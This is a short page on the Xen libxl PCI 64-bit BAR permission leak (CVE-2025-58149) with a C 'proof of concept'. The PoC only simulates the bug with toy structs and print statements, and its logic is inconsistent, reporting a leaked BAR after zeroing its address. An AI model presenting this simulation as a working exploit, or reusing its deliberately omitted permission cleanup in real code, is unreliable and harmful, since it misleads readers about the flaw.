Xen libxl PCI设备分离时64位内存BAR权限泄漏漏洞(CVE-2025-58149)

// CVE-2025-58149 PoC - Xen libxl PCI 64-bit BAR Permission Leak // This PoC demonstrates the concept of the permission leak after PCI device detachment // Note: Actual exploitation requires specific PCI device with 64-bit BAR #include <stdio.h> #include <stdlib.h> #include <stdint.h> /* Simulated PCI BAR structure */ typedef struct { uint64_t bar_address; uint32_t bar_size; int is_64bit; int permissions_valid; } pci_bar_t; /* Simulated domain state */ typedef struct { int domain_id; pci_bar_t* assigned_devices; int device_count; } xen_domain_t; /* Vulnerable detach function - missing permission cleanup for 64-bit BARs */ void vulnerable_libxl_pci_detach(xen_domain_t* domain, int device_id) { printf("[*] Detaching PCI device %d from domain %d\n", device_id, domain->domain_id); /* Current buggy implementation - only clears basic assignment */ domain->assigned_devices[device_id].bar_address = 0; domain->assigned_devices[device_id].bar_size = 0; /* BUG: Missing cleanup for 64-bit BAR permissions */ /* Should clear: domain->assigned_devices[device_id].permissions_valid = 0; */ printf("[!] Device detached but 64-bit BAR permissions may still be valid\n"); } /* Exploitation attempt - PV domain can remap leaked memory */ void exploit_pv_domain_remap(xen_domain_t* domain) { printf("[*] PV Domain attempting to access leaked 64-bit BAR memory...\n"); /* Check if permissions are still valid despite device detachment */ for (int i = 0; i < domain->device_count; i++) { if (domain->assigned_devices[i].permissions_valid && domain->assigned_devices[i].is_64bit) { printf("[!] Found leaked 64-bit BAR at 0x%lx\n", domain->assigned_devices[i].bar_address); printf("[!] Domain %d can map this memory into page tables\n", domain->domain_id); /* In real scenario: map the memory into domain's page tables */ } } } int main() { printf("=== CVE-2025-58149 PoC Demonstration ===\n\n"); /* Simulate domain with assigned PCI device having 64-bit BAR */ xen_domain_t* domain = malloc(sizeof(xen_domain_t)); domain->domain_id = 1; domain->device_count = 1; domain->assigned_devices = malloc(sizeof(pci_bar_t) * 1); /* Setup device with 64-bit BAR */ domain->assigned_devices[0].bar_address = 0x4000000000ULL; domain->assigned_devices[0].bar_size = 0x10000000; domain->assigned_devices[0].is_64bit = 1; domain->assigned_devices[0].permissions_valid = 1; printf("[*] Initial state: PCI device with 64-bit BAR assigned\n"); printf("[*] BAR Address: 0x%lx, Size: 0x%x\n\n", domain->assigned_devices[0].bar_address, domain->assigned_devices[0].bar_size); /* Trigger vulnerable detach */ vulnerable_libxl_pci_detach(domain, 0); printf("\n[*] Checking domain state after detach...\n"); /* Exploitation: PV domain can still access the leaked memory */ exploit_pv_domain_remap(domain); free(domain->assigned_devices); free(domain); printf("\n[*] PoC demonstration complete\n"); return 0; }